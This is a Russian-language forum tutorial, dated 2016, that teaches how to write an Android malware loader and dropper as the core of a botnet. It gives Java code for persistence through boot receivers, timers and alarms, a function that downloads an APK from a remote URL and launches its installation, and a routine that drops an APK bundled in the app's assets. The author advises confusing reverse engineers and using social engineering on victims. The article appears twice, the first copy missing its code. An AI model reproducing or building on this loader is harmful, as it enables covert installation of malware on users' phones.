APK Loader.
Привет, дорогой друг. Сегодня мы с тобой нанесем небольшой ущерб blackhat и научимся программировать простой ботнет. Речь пойдет о лоадерах, но не простых а под android. Мы конечно же попытаемся вместе с тобой написать все с нуля. Но я очень рекомендую прочитать мои статьи о том как создавать первую malware. И так приступим.
Нам потребуется:
1. Немного свободного времени
2. Android Studio
3. Базовые знания Java.
4. Ну и горячительные напитки. Чтобы разбираться в дебрях этой писанины.
Немного теории:
Для начало вам следует понимать как работает APK. Внутри это обычный архив, который включает папку с русурсами, файлами описания и исходным кодом. Надо понимать, что исходный код приложения открыт, кроме компилируемых библиотек. И все хорошие продукты используют различные обфускаторы, чтобы сбить столку исследователей. Напрямую код не вызывается, а все работает на событиях. К примеру получили событие "автозагрузка", и выполнился код указанный в файле manifest для данного события. Нажал пользователь на иконку в меню телефона, вызвался класс, который мы определили за этой иконкой.
Что такое Activity - это форма на которой распологаются элементы интерфейса, она так же может быть скрыта или использована в виде widget.
Для чего нужен Manifest.xml - самый главный файл в пакете APK. В нем описываются все обработчики событий, узказывается информация о приложении, а так же настраиваются activity. Так же его используют для определения совместимости с устройством и описания необходимых разрешений для приложения. К примеру использование интернета или файловой системы. Если вы забудете указать нуное разрешение или описать обработчик событий, то код у вас просто не отработает. Ну и так же важно понимать, что все реверсеры, отталкиваются именно от этого файла. Наша задача его составить так, чтобы запутать исследователя.
Шаг первый. Создаем каркас.
Нам потребуется простое приложение с Blank Activity. Напомню тем кто не читал предыдущие мои статьи, это требуется для того чтобы обойти защиту запуска. Ни один сервис не начнет работать пока вы не запустите хотябы одну Activity. После чего, вы заходите в layout и с помощью формочек прям как в visual basic рисуете красивый лендинг. Который мы покажем пользователю после старта. Его можно закрыть автоматически или по нажатию на кнопку. Для автоматического закрытия вам нужно в файле MainActivity.java написать в конце функции onCreate перед закрытием finish(); Что закроет данный лендинг. Так же можете сделать это по нажатию на кнопку, если такую разместите.
Мы не будем сильно углубляться в эти азы. Но прочитать можете здесь. Кстати сайт очень хорош для новичков. Там и про правильное оформление и про базовые работы с андроидом.
__tp://startandroid.ru/ru/uroki/vse-uroki-spiskom/16-urok-9-obrabotchiki-sobytij-na-primere-button.html
Шаг второй. Ходим по кругу.
После того как мы запустились, нам потребуется с определенной периодичностью запускать процедуру обработки, получать задачи и выполнять запуск. Для этого нам потребуется технология Serivce. Но многие скажут уже тут, что это не работает в Android 4.4 и выше. Скажем так, оно работает. Но после того как выключается дисплей, все не системные процессы засыпают. В том числе и ваш И тут, нам на помощь приходит другой метод. Метод будильников (Alarm). Данный механизм работает по принципу cron в linux. Но есть опять же важное ограничение. Его нельзя запускать чаще чем 1 минуту. Но скажу по секрету это обходится с помощью простого цикла внутри будильника. Если кому-то потребуется делать это чаще.
Мы рассмотрим подробно на базе Service, но после на форумах я распишу и второй метод. Хотя там нет ни чего сложного и вы сами сможете попрактиковаться. Создаем новый класс SrvCheck. И делаем его расширенным.
Заменяем
на
И обязательно в файл manifest.xml вносим строку <service android:name=".SrvCheck" /> , это говорит android о том, что данный класс будет использоваться как Serivce.
Внутрь класса мы пишем в функцию onCreate
В данном случае у нас нет ни каких ограничений по минутам.
Каркас готов да не совсем. Теперь это дело все надо запустить. Ведь само оно работать не будет
Шаг третий. Запуск сервиса и автозагрузка.
Надо немного понимать, что автозагрузка на Android работает немного не так как в Windows. В нашем случае, android рассылаешь широковещательное сообщение всем apk. И кто его обрабатывает, то выполниться код.
Нам нужно создать класс BootStart и объявить его таким образом, чтобы он получал события от системы.
Заменяем
на
Далее в manifest.xml вносим:
Чтобы фильтровать сообщения для класса и самое важно нужно запросить права на загрузку после перезагрузки.
Без этой строки, у нас будет все работать только до первой перезагрузки.
Ну и последний шаг создания полного каркаса это старт сервиса.
context.startService(new Intent(context, SrvCheck.class));
Эту строку вносим и в класс BootStart и в класс MainActivity (для запуска сервиса мгновенно). Настало время передохнуть и осмыслить сие чудо. Попробовать запустить. Чтобы увидеть работы, вы можете вставить код Log.e("test","service work"); После запуска в logcat вы увидите много раз это сообщение с установленным вами таймаутом.
Все бы хорошо, но данный пример будет работать только на версиях до 4.4. Нет, конечно он будет работать и дальше, но в андроиде появились новые технологии, который усыпляют процессы. Поэтому нам придется рассмотреть механизм будильников! Общий класс Alarm.
Для этого нам нужно в манифест добавить приемник событий. Где AlarmS это название класса обработчика события.
Вот сам класс.
Принцип работы Alarm как у обычного будильника, он через определенное время посылает событие которое обратабывается в onReceive. И что бы запустить, нам потребуется следующий код.
Это означает что наш класс будет вызываться каждую минуту. Но есть ограничение, интервал меньше сделать нельзя.
Шаг четвертый. Качай и запускай.
Теперь мы переходим к метке
// код обработки событий
которую оставили для текущего шага.
Сразу скажу, я не буду описывать весь исходник полноценного бота. Будем считать, что у вас уже есть опыт программирования, а тут всего лишь азы проектирования.
И так нам потребуется функция скачки файла из сети.
И функция запуска
Так же сразу скажу, что пользователь увидит окно установки, поэтому используйте социальную инженерию. Чудес не бывает в нашем суровом 2016 году.
Далее мы просто вызываем функцию
DownloadFile а заней run_apk. Вот и получаем простой loader. Правда не сложно?
Завершающая часть
В данном примере, мы рассмотрели примитив. Его конечно нужно сопроводить кучей проверок.
1. Скачался ли файл
2. Есть ли интернет
3. Корректный ли файл
4. Установлен ли он уже
И так далее. Моя задача не научить вас копировать чужой код, а научить проектировать свои творения.
Ну и на последок скажу как сделать Dropper из такого Loader.
Есть такая замечательная папка Assets. Туда вы можете скопировать файл который нужно запустить. Но есть проблема, что запустить файл от туда не получиться и придется его скопировать на диск. Вот пример функции.
И после выполнить run_apk. Все просто. А зачем это нужно? Тут уже решать вам.
Спасибо за внимание.
Привет, дорогой друг. Сегодня мы с тобой нанесем небольшой ущерб blackhat и научимся программировать простой ботнет. Речь пойдет о лоадерах, но не простых а под android. Мы конечно же попытаемся вместе с тобой написать все с нуля. Но я очень рекомендую прочитать мои статьи о том как создавать первую malware. И так приступим.
Нам потребуется:
1. Немного свободного времени
2. Android Studio
3. Базовые знания Java.
4. Ну и горячительные напитки. Чтобы разбираться в дебрях этой писанины.
Немного теории:
Для начало вам следует понимать как работает APK. Внутри это обычный архив, который включает папку с русурсами, файлами описания и исходным кодом. Надо понимать, что исходный код приложения открыт, кроме компилируемых библиотек. И все хорошие продукты используют различные обфускаторы, чтобы сбить столку исследователей. Напрямую код не вызывается, а все работает на событиях. К примеру получили событие "автозагрузка", и выполнился код указанный в файле manifest для данного события. Нажал пользователь на иконку в меню телефона, вызвался класс, который мы определили за этой иконкой.
Что такое Activity - это форма на которой распологаются элементы интерфейса, она так же может быть скрыта или использована в виде widget.
Для чего нужен Manifest.xml - самый главный файл в пакете APK. В нем описываются все обработчики событий, узказывается информация о приложении, а так же настраиваются activity. Так же его используют для определения совместимости с устройством и описания необходимых разрешений для приложения. К примеру использование интернета или файловой системы. Если вы забудете указать нуное разрешение или описать обработчик событий, то код у вас просто не отработает. Ну и так же важно понимать, что все реверсеры, отталкиваются именно от этого файла. Наша задача его составить так, чтобы запутать исследователя.
Шаг первый. Создаем каркас.
Нам потребуется простое приложение с Blank Activity. Напомню тем кто не читал предыдущие мои статьи, это требуется для того чтобы обойти защиту запуска. Ни один сервис не начнет работать пока вы не запустите хотябы одну Activity. После чего, вы заходите в layout и с помощью формочек прям как в visual basic рисуете красивый лендинг. Который мы покажем пользователю после старта. Его можно закрыть автоматически или по нажатию на кнопку. Для автоматического закрытия вам нужно в файле MainActivity.java написать в конце функции onCreate перед закрытием finish(); Что закроет данный лендинг. Так же можете сделать это по нажатию на кнопку, если такую разместите.
Мы не будем сильно углубляться в эти азы. Но прочитать можете здесь. Кстати сайт очень хорош для новичков. Там и про правильное оформление и про базовые работы с андроидом.
__tp://startandroid.ru/ru/uroki/vse-uroki-spiskom/16-urok-9-obrabotchiki-sobytij-na-primere-button.html
Шаг второй. Ходим по кругу.
После того как мы запустились, нам потребуется с определенной периодичностью запускать процедуру обработки, получать задачи и выполнять запуск. Для этого нам потребуется технология Serivce. Но многие скажут уже тут, что это не работает в Android 4.4 и выше. Скажем так, оно работает. Но после того как выключается дисплей, все не системные процессы засыпают. В том числе и ваш И тут, нам на помощь приходит другой метод. Метод будильников (Alarm). Данный механизм работает по принципу cron в linux. Но есть опять же важное ограничение. Его нельзя запускать чаще чем 1 минуту. Но скажу по секрету это обходится с помощью простого цикла внутри будильника. Если кому-то потребуется делать это чаще.
Мы рассмотрим подробно на базе Service, но после на форумах я распишу и второй метод. Хотя там нет ни чего сложного и вы сами сможете попрактиковаться. Создаем новый класс SrvCheck. И делаем его расширенным.
Заменяем
Код:
public class SrvCheck
Код:
public class SrvCheck extends Service
Внутрь класса мы пишем в функцию onCreate
Код:
MyTimerTask myTask = new MyTimerTask(); // имя запускаемого класса по таймеру
Код:
Timer myTimer = new Timer();
myTimer.schedule(myTask, 0, 1000); //создаем таймер и пускаем его каждую секунду. Когда долго программируешь везде хочется писать 1024 :)
Код:
class MyTimerTask extends TimerTask { // вот собственно наш класс.
public void run() {
// код обработки событий (получаем задачу, скачиваем и так далее)
}
}
Шаг третий. Запуск сервиса и автозагрузка.
Надо немного понимать, что автозагрузка на Android работает немного не так как в Windows. В нашем случае, android рассылаешь широковещательное сообщение всем apk. И кто его обрабатывает, то выполниться код.
Нам нужно создать класс BootStart и объявить его таким образом, чтобы он получал события от системы.
Заменяем
Код:
public class BootStart
Код:
public class BootStart extends BroadcastReceiver
Код:
<receiver android:name=".BootStart">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
<action android:name="android.intent.action.QUICKBOOT_POWERON" />
</intent-filter>
</receiver>
Код:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
Ну и последний шаг создания полного каркаса это старт сервиса.
context.startService(new Intent(context, SrvCheck.class));
Эту строку вносим и в класс BootStart и в класс MainActivity (для запуска сервиса мгновенно). Настало время передохнуть и осмыслить сие чудо. Попробовать запустить. Чтобы увидеть работы, вы можете вставить код Log.e("test","service work"); После запуска в logcat вы увидите много раз это сообщение с установленным вами таймаутом.
Все бы хорошо, но данный пример будет работать только на версиях до 4.4. Нет, конечно он будет работать и дальше, но в андроиде появились новые технологии, который усыпляют процессы. Поэтому нам придется рассмотреть механизм будильников! Общий класс Alarm.
Для этого нам нужно в манифест добавить приемник событий. Где AlarmS это название класса обработчика события.
Код:
<receiver android:name=".AlarmS" />
Код:
public class AlarmS extends BroadcastReceiver
{
@Override
public void onReceive(Context context, Intent intent)
{
// код обработки событий (получаем задачу, скачиваем и так далее)
}
}
Код:
Intent myAlarm = new Intent(context, AlarmS.class);
PendingIntent recurringAlarm = PendingIntent.getBroadcast(context, 0, myAlarm, PendingIntent.FLAG_CANCEL_CURRENT);
AlarmManager alarms = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Calendar updateTime = Calendar.getInstance();
alarms.setInexactRepeating(AlarmManager.RTC_WAKEUP, updateTime.getTimeInMillis(), 60000, recurringAlarm);
Но создав этот класс, мы получили еще одну проблему. Теперь у нас они будут работать одновременно. И нам при запуске сервиса, нужно определить платформу и запустить или сервис или alarm.Небольшой хак: Если хотите вызывать быстрее, то каждый вызов, вы должны пустит цикл внутри
Код:
if (Build.VERSION.SDK_INT >= 19) {
//alarm
}else{
//сервис
}
Теперь мы переходим к метке
// код обработки событий
которую оставили для текущего шага.
Сразу скажу, я не буду описывать весь исходник полноценного бота. Будем считать, что у вас уже есть опыт программирования, а тут всего лишь азы проектирования.
И так нам потребуется функция скачки файла из сети.
Код:
String DownloadFile(final Context cnt, String DownloadUrl, String fileName) {
String path = Environment.getExternalStorageDirectory() + "/";
try {
File dir = new File(path);
if (dir.exists() == false) {
dir.mkdirs();
}
URL url;
try {
url = new URL(DownloadUrl);
HttpURLConnection con = (HttpURLConnection) url.openConnection();
if (con != null) {
try {
InputStream raw = con.getInputStream();
InputStream br = new BufferedInputStream(raw);
FileOutputStream fos = new FileOutputStream(path + "" + fileName);
byte[] buffer = new byte[4096];
Integer input = -1;
while ((input = br.read(buffer)) != -1) {
fos.write(buffer, 0, input);
}
fos.flush();
fos.close();
br.close();
} catch (IOException e) {
e.printStackTrace();
}
}
} catch (Exception e) {
return "";
}
} catch (Exception e) {
return "";
}
return path + "" + fileName;
}
Код:
void String run_apk(final Context cnt, final String path) {
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setDataAndType(Uri.fromFile(new File(path)), "application/vnd.android.package-archive");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
cnt.startActivity(intent);
}
Далее мы просто вызываем функцию
DownloadFile а заней run_apk. Вот и получаем простой loader. Правда не сложно?
Завершающая часть
В данном примере, мы рассмотрели примитив. Его конечно нужно сопроводить кучей проверок.
1. Скачался ли файл
2. Есть ли интернет
3. Корректный ли файл
4. Установлен ли он уже
И так далее. Моя задача не научить вас копировать чужой код, а научить проектировать свои творения.
Ну и на последок скажу как сделать Dropper из такого Loader.
Есть такая замечательная папка Assets. Туда вы можете скопировать файл который нужно запустить. Но есть проблема, что запустить файл от туда не получиться и придется его скопировать на диск. Вот пример функции.
Код:
void copyFileFromAssets(Context cnt,String filename) {
AssetManager assetManager = cnt.getAssets();
InputStream in = null;
OutputStream out = null;
try {
in = assetManager.open(filename);
String newFileName = getWorkPath(cnt) + "" + filename;
out = new FileOutputStream(newFileName);
byte[] buffer = new byte[1024];
int read;
while ((read = in.read(buffer)) != -1) {
out.write(buffer, 0, read);
}
in.close();
in = null;
out.flush();
out.close();
out = null;
} catch (Exception e) {}
}
Спасибо за внимание.